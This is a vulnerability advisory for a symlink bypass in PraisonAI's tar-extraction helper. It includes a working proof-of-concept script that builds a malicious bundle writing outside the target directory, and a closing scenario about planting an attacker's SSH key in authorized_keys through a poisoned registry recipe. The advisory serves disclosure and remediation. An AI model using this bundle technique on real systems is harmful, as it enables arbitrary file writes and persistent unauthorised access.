CVE-2026-44340: PraisonAI: tar symlink bypass allows arbitrary file write

### Summary The `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member's `name` for absolute paths, `..` segments, and resolved-path escape — but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter="data"`. A bundle that contains a symlink with a name inside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem. ## Affected paths Every code path that calls `_safe_extractall` is exposed: | Caller | File:line | |---|---| | `praisonai recipe unpack` | `src/praisonai/praisonai/cli/features/recipe.py:1175` (introduced as the fix for GHSA-99g3-w8gr-x37c) | | `LocalRegistry.unpack` (recipe pull) | `src/praisonai/praisonai/recipe/registry.py:413` | | Registry archive validation (publish) | `src/praisonai/praisonai/recipe/registry.py:808` | ## Root cause `recipe/registry.py:131-178`: ```python def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: ... for member in tar.getmembers(): ... member_path = Path(member.name) if member_path.is_absolute(): raise RegistryError(...) if '..' in member_path.parts: raise RegistryError(...) resolved = (dest_resolved / member_path).resolve() if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(dest_dir) ``` Three gaps: 1. The loop checks only `member.name`. `member.linkname` (the symlink / hardlink target) is not inspected. 2. `member.issym()` and `member.islnk()` are not used to refuse link members at all. 3. `tar.extractall(dest_dir)` runs without `filter="data"`. On Python ≤ 3.13 the default is `fully_trusted` (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside `dest_dir`. When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location. ## Reproduction Tested in a disposable container against `praisonai==4.6.35` (`pip install praisonai`, no other modifications). `make_bundle.py`: ```python import io, json, tarfile manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode() with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo("manifest.json"); info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest)) sym = tarfile.TarInfo("legit/escape") sym.type = tarfile.SYMTYPE sym.linkname = "/tmp/PWNED" tar.addfile(sym) payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n" pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload) tar.addfile(pf, io.BytesIO(payload)) ``` `direct_test.py`: ```python import shutil, tarfile from pathlib import Path from praisonai.recipe.registry import _safe_extractall DEST = Path("/work/recipes_direct") shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True) Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True) with tarfile.open("malicious.praison", "r:gz") as tar: _safe_extractall(tar, DEST) assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape" print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text()) ``` Run: ```bash docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c ' pip install -q praisonai && python make_bundle.py && python direct_test.py ' ``` Observed output: ``` _safe_extractall returned cleanly PWNED: PWNED via symlink-extraction bypass of _safe_extractall ``` `/tmp/PWNED/owned.txt` exists after the call returns, written outside the destination directory the helper was asked to extract into. ## Impact Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious `.praison` bundle through any of the three callers above. Realistic exploitation paths: - A user runs `praisonai recipe unpack ./<malicious>.praison` after obtaining the bundle from a shared registry, a tutorial link, or direct messaging. - A user runs `praisonai recipe pull <name>` against a malicious or compromised registry. - A registry server processes an uploaded `.praison` bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv). Where the agent process runs as a regular user, the attacker can overwrite shell config (`.bashrc`, `.zshrc`, `.profile`), SSH `authorized_keys`, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some `sudo`-launched workflows), the attacker controls arbitrary system files. This re-opens the `recipe pull`, `recipe publish`, and `recipe unpack` paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close. ## Suggested remediation Single-line fix at `recipe/registry.py:178`: ```python tar.extractall(dest_dir, filter="data") ``` `filter="data"` (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class. If you also support older Python, add an explicit guard inside the existing per-member loop before `tar.extractall`: ```python if member.issym() or member.islnk(): link_target = (dest_resolved / member_path.parent / member.linkname).resolve() if member.linkname.startswith("/") or not str(link_target).startswith(str(dest_resolved) + os.sep): raise RegistryError( f"Refusing to extract link with target outside dest dir: " f"{member.name} -> {member.linkname}" ) ``` ## Affected versions `praisonai >= 2.7.2` through current `4.6.35` (the helper exists at least back to the earliest path-traversal patch chain referenced in GHSA-99g3-w8gr-x37c). All releases that route extraction through `_safe_extractall` are exposed. ## Disclosure Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new -- Dhiral Vyas

An adversary registers an account on a public PraisonAI recipe registry and publishes a bundle named 'gpt-security-agent' containing a manifest.json (passes surface-level validation), a symlink at 'agent/config/escape' with linkname '/home/developer/.ssh', and a file at 'agent/config/escape/authorized_keys' containing the attacker's SSH public key. A developer runs `praisonai recipe pull gpt-security-agent`; _safe_extractall iterates members, validates all name fields (which are within dest_dir), skips the linkname entirely, and calls tar.extractall without filter='data'. The symlink lands first and the subsequent member traverses it, writing the attacker's public key to /home/developer/.ssh/authorized_keys. The attacker now has persistent SSH access with no visible indication of compromise at the praisonai layer.